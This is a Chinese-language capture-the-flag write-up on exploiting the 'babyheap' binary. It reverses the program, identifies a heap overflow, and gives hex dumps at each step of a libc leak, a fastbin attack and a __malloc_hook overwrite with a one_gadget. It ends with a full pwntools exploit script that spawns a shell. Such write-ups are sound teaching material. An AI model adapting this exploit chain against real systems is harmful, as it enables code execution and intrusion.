过段时间没有输入则会显示Alarm clock,与sub_B70有关(调用alarm,nop掉)。
共有5个选项。
Allocate:可以分配0-15,总共16个chunk,大小不固定,最大不超过4096。从指定内存,每3个qword检查,flag是否为0(证明该index还未使用),如果是就把相关数据记录在此,否则顺序往后移3个qword。
使用calloc分配内存,calloc在动态分配完内存后,自动初始化该内存空间为零,而malloc不初始化,里边数据是随机的垃圾数据。
分配完,flag=1,记录长度和地址。譬如
依次存储flag、大小、地址
000019E2F87FF280 01 00 00 00 00 00 00 00 00 01 0000 00 00 00 00
000019E2F87FF290 10 90 C7 AB 09 56 00 00 01 00 00 00 00 00 00 00
000019E2F87FF2A0 20 00 00 00 00 00 00 00 20 91C7 AB 09 56 00 00
Fill:输入index,填充数据前检查flag是否为1,如果flag=1,才有后续操作。输入长度和内容。(没有将输入长度与分配内存大小做比较,有可能输入的内容超过内存大小)
sub_11B2(0x00005609ABC79120,6)
{
read(0,0x00005609ABC79120,6);
}
Dump:先检查对应的flag是否为1
sub_130F(0x00005609ABC79120, 0x20) //顶多输出整个chunk的内容,不会超边界读取
{
write(1,0x00005609ABC79120, 0x20);
}
delete:检查flag是否为1?如果flag=1,则free地址,之后将存在数组里的flag,size,地址清零。
sub_B70:根据/dev/urandom算出一个地址,用此地址作为存储各chunk相关信息的数组起始地址。
总结:所有操作前都会检查flag是否为1,因此UAF就别想了。删除时也没有任何问题,仅在Fill时没有校验输入长度和chunk长度之间的关系,可以造成堆溢出。
使用checksec检查该程序的安全机制
安全机制全开了。
利用思路:
1、首先要泄露libc基址。可以利用unsortedbin的fd和bk指向自身main_arena+88,从而计算libc基址。
2、拿到libc基址后,利用Fill功能存在的堆溢出,修改chunk的fd,向malloc_hook前的某个位置分配chunk,从而修改malloc_hook值
3、往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。所谓 one_gadget 就是一个实现了直接执行system(‘/bin/sh’)的程序跳板。常见的,可以使用one_gadget覆盖劫持got表、返回地址、hook(__malloc_hook、__free_hook)等等操作,也就是当可以劫持控制流后覆盖的捷径
具体过程,下面尽可能列出每个步骤的详细截图,方便像我一样的小白清楚流程:
1、首先创建4个chunk
allocate(0x48)#0 a010 51
allocate(0x40)#1 a060 51
allocate(0x40)#2 a0b0 51
allocate(0x40)#3 a100 51
数组存储各chunk信息
000024B519199E10 01 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00
000024B519199E20 10 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E30 40 00 00 00 00 00 00 00 60 A0 E7 1C C7 55 00 00
000024B519199E40 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E50 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E60 40 00 00 00 00 00 00 00 00 A1 E7 1C C7 55 00 00
2、修改chunk1的头部,使得chunk1的size=0xA1
update(0,0x49,'\x00'*0x48 + '\xa1')
修改前
000055C71CE7A000 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A050 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
修改后
000055C71CE7A000 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A010 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00
000055C71CE7A020 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00
000055C71CE7A030 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00
000055C71CE7A040 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00
000055C71CE7A050 00 00 00 00 0000 00 00 A10000 00 00 00 00 00
3、删除chunk1,让其放到unsorted
bin中
delete(1) a060 #chunk1放入unsortedbin
问:为什么会放入unsortedbin?
回答:如果刚刚释放的空间大于max_fast=64B(此时chunk1的size被改成A1了),那么会首先放到unsorted
bin中(只有一个,且为bins[1]),在下一次内存分配时,如果无法从fastbins中分配空间,那么会首先在这里寻找空间。
删前
000055C71CE7A050 00 00 00 00 00 00 00 00 A1 00 00 00 00 00 00 00
000055C71CE7A060 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A070 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A080 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A090 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A0A0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A0B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
删除后
000055C71CE7A050 00 00 00 00 00 00 00 00 A1 00 00 00 00 00 00 00
000055C71CE7A060 B8 B7 EE 38 0A 7F 00 00 B8 B7 EE 38 0A 7F 00 00
000055C71CE7A070 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A080 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A090 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A0A0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A0B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
4、申请大小为0x40的chunk,使得chunk2被移到unsortedbin
allocate(0x40) a060 #chunk2in unsordtedbin but flag==1
问:unsorted bin怎么从chunk1移动到了chunk2?
回答:如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
000024B519199E10 01 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00
000024B519199E20 10 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E30 40 00 00 00 00 00 00 00 60 A0 E7 1C C7 55 00 00
000024B519199E40 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E50 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E60 40 00 00 00 00 00 00 00 00 A1 E7 1C C7 55 00 00
000055C71CE7A050 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A060 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A070 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A080 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A090 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A0A0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A0B0 B8 B7EE 38 0A 7F 00 00 B8 B7 EE 38 0A 7F 0000
000055C71CE7A0C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
5、通过查看unsorted bin,泄露libc基址
view(2) a0b0
main_arena+88=0x7F0A38EEB7B8
libc_base=0x7F0A38EEB7B8-88-0x3c2760=0x7F0A38B29000
备注:0x3c2760是通过查看libc.so中malloc_trim函数确定的。每个libc版本的数值都不同,需要具体分析得出。0x3c2760是在我的调试环境ubuntu 14.04 64bit中的libc-2.19.so确定的,而该程序所带的libc.so.6中应为0x3c4b20。
6、创建chunk4
allocate(0x40) a0b0 #4clear unsortedbin place 2
000024B519199E10 01 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00
000024B519199E20 10 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E30 40 00 00 00 00 00 00 00 60 A0 E7 1C C7 55 00 00
000024B519199E40 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E50 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E60 40 00 00 00 00 00 00 00 00 A1 E7 1C C7 55 00 00
000024B519199E70 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E80 B0 A0 E7 1C C7 55 00 00 00 00 00 00 00 0000 00
000055C71CE7A0A0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A0B0 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A0C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A0D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A0E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
7、修改chunk4
update(4,0x40,'a'*0x40) a0b0
000055C71CE7A0A0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A0B0 61 61 61 6161 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A0C0 61 61 61 61 6161 61 61 61 61 61 61 61 61 61 61
000055C71CE7A0D0 61 61 61 6161 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A0E0 61 61 61 6161 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A0F0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
8、修改chunk2,即为chunk4
update(2,0x10,'b'*0x10) a0b0
000055C71CE7A0A0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A0B0 62 62 62 6262 62 62 62 62 62 62 62 62 62 62 62
000055C71CE7A0C0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A0D0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A0E0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A0F0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
9、创建chunk5
allocate(0x60)#5 a150
000024B519199E10 01 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00
000024B519199E20 10 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E30 40 00 00 00 00 00 00 00 60 A0 E7 1C C7 55 00 00
000024B519199E40 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E50 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E60 40 00 00 00 00 00 00 00 00 A1 E7 1C C7 55 00 00
000024B519199E70 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E80 B0 A0 E7 1C C7 55 00 00 01 0000 00 00 00 00 00
000024B519199E90 60 00 00 00 00 00 00 00 50 A1 E7 1C C7 55 00 00
000055C71CE7A140 00 00 00 00 00 00 00 00 71 00 00 00 00 00 00 00
000055C71CE7A150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A1A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10、删除chunk5,使得fastbin指向chunk5
delete(5) a150 # after delete, fastbins=chunk5
000024B519199E10 01 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00
000024B519199E20 10 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E30 40 00 00 00 00 00 00 00 60 A0 E7 1C C7 55 00 00
000024B519199E40 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E50 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E60 40 00 00 00 00 00 00 00 00 A1 E7 1C C7 55 00 00
000024B519199E70 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E80 B0 A0 E7 1C C7 55 00 00 00 00 00 00 00 00 00 00
000024B519199E90 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00
11、选取合适的地址作为fake_chunk,修改chunk3的fd,使其指向fake_chunk
fake_chunk = leak_addr - 88 - 0x2b- 8=0x7F0A38EEB7B8-88-0x2b-8=7F0A38EEB72D
payload = 'a'*0x40 + p64(0) + p64(0x70) +p64(fake_chunk)
update(3,len(payload),payload) a100
为啥选择7F0A38EEB72D 作为fake_chunk?fastbin attack时候对要修改的fd是有要求的,不能随便取。
答复:因为0x7F0A38EEB72D+8为chunk的size字段所在的值,刚好此地值得数值为0x7f,我们需要在malloc_hook向上寻找是否可以错位出一个合法的 size 域。因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的。
为什么一定要选取chunk为70的?
答复:因为前面delete(5)就将chunk5放入了fastbins 0x70中。因此我们需要在malloc_hook上找出符合条件的size(0x70)。这样通过fastbin的fd指针将chunk5与fake_chunk通过单链表连接起来。
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
原理:fd只要其size域是否属于该chunk就可以通过malloc检查。因此只要想写入的地址附近有属于该fastbin的size就可以让malloc分配到该位置。
如此选择一个合适的地址设为A,则chunk起始地址为A-8(pre size),usrdata(fd指针与之同体)部分为A+8,且上一个fd指向地址为A-8。
构造的xx大小-0x10,为malloc的参数,即返回的usrdata大小。
修改后,fd指向了7F0A38EEB72D
000055C71CE7A0F0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00
000055C71CE7A100 61 61 61 6161 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A110 61 61 61 6161 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A120 61 61 61 6161 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A130 61 61 61 6161 61 61 61 61 61 61 61 61 61 61 61
000055C71CE7A140 00 00 00 0000 00 00 00 70 00 00 00 00 00 00 00
000055C71CE7A150 2D B7 EE 38 0A 7F 00 00 00 00 00 00 00 00 00 00
12、创建chunk,分配之前删除chunk5的地址
allocate(0x60) a150 #5
000024B519199E10 01 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00
000024B519199E20 10 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E30 40 00 00 00 00 00 00 00 60 A0 E7 1C C7 55 00 00
000024B519199E40 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E50 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E60 40 00 00 00 00 00 00 00 00 A1 E7 1C C7 55 00 00
000024B519199E70 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E80 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E90 60 00 00 0000 00 00 00 50 A1 E7 1C C7 55 00 00
000055C71CE7A140 00 00 00 00 00 00 00 00 70 00 00 00 00 00 00 00
000055C71CE7A150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000055C71CE7A1A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
13、创建chunk6,分配地址为之前伪造的fake_chunk+0x10=00007F0A38EEB73D
allocate(0x60) #6 fake_chunk
000024B519199E10 01 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00
000024B519199E20 10 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E30 40 00 00 00 00 00 00 00 60 A0 E7 1C C7 55 00 00
000024B519199E40 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E50 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E60 40 00 00 00 00 00 00 00 00 A1 E7 1C C7 55 00 00
000024B519199E70 01 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
000024B519199E80 B0 A0 E7 1C C7 55 00 00 01 00 00 00 00 00 00 00
000024B519199E90 60 00 00 00 00 00 00 00 50 A1 E7 1C C7 55 00 00
000024B519199EA0 01 00 00 0000 00 00 00 60 00 00 00 00 00 00 00
000024B519199EB0 3D B7 EE 380A 7F 00 00 0000 00 00 00 00 00 00
14、修改chunk6,使得修改后__malloc_hook填充one_gadget地址
update(6,0x3+8,'c'*0x3+p64(one_gadget)) //修改后__malloc_hook填充了one_gadget地址
00007F0A38EEB73D位于__malloc_hook前3个字节的位置
libc_2.19.so:00007F0A38EEB73Ddb 0
libc_2.19.so:00007F0A38EEB73E db 0
libc_2.19.so:00007F0A38EEB73F db 0
libc_2.19.so:00007F0A38EEB740__malloc_hook db 0
libc_2.19.so:00007F0A38EEB741 db 0
libc_2.19.so:00007F0A38EEB742 db 0
libc_2.19.so:00007F0A38EEB743 db 0
libc_2.19.so:00007F0A38EEB744 db 0
libc_2.19.so:00007F0A38EEB745 db 0
运行one_gadget,列出了4个可用地址。这里我们选取0x4647c
one_gadget =libc_base +0x4647c=0x7F0A38B29000+0x4647c=7F0A38B6F47C
修改后,__malloc_hook填充了one_gadget地址7F0A38B6F47C
00007F0A38EEB730 60 CF BA 38 0A 7F 00 00 00 00 00 00 0063 63 63
00007F0A38EEB740 7C F4 B6 380A 7F 00 00 0000 00 00 00 00 00 00
15、在调用calloc时会调用malloc_hook中的函数地址7F0A38B6F47C,即为执行了execve("/bin/sh",rsp+0x30, environ)
alloc(10)
完整exp
from pwn import *
context.log_level='debug'
cn = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('./libc.so.6')
sl = lambda data :cn.sendline(str(data))
r = lambda numb=4096 :cn.recv(numb)
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu64 = lambda data :u64(data.ljust(8, '\0'))
def allocate(size):
ru('Command: ')
sl(1)
ru('Size: ')
sl(size)
def update(index,size,content):
ru('Command: ')
sl(2)
ru('Index: ')
sl(index)
ru('Size: ')
sl(size)
ru('Content: ')
sl(content)
def delete(index):
ru('Command: ')
sl(3)
ru('Index: ')
sl(index)
def view(index):
ru('Command: ')
sl(4)
ru('Index: ')
sl(index)
allocate(0x48)#0
allocate(0x40)#1
allocate(0x40)#2
allocate(0x40)#3
update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size
delete(1) # chunk1 inunsortedbin
raw_input('delete chunk1')
gdb.attach(cn)
allocate(0x40)#chunk2 in unsordtedbin but flag==1
raw_input('create chunk1, chunk2 in unsortedbin')
gdb.attach(cn)
view(2)
ru('Content: \n')
leak_addr = uu64(r(6))
success('leak_addr:'+hex(leak_addr))
libc_base = leak_addr - 88-0x3c4b20
success('libc_base:'+hex(libc_base))
allocate(0x40)#4 clear unsortedbin place 2
update(4,0x40,'a'*0x40)
update(2,0x10,'b'*0x10)
#trim malloc_hook
allocate(0x60)#5
delete(5) # after delete,fastbins=chunk5
raw_input('delete chunk5')
gdb.attach(cn)
fake_chunk = leak_addr - 88 - 0x2b- 8
payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk)
update(3,len(payload),payload)
allocate(0x60)#5 after created, fastbins changed to fake_chunk
raw_input('create chunk5')
gdb.attach(cn)
allocate(0x60) #6
one_gadget = libc_base + 0x4526a
success('one_gadget:'+hex(one_gadget))
update(6,0x13+8,'c'*0x13+p64(one_gadget))
raw_input('update chunk6 to one_gadget')
allocate(0x10)
'''
one_gadget libc.so.6
0x45216
0x4526a
0xf02a4
0xf1147
'''
irt()
本篇参考了下列文章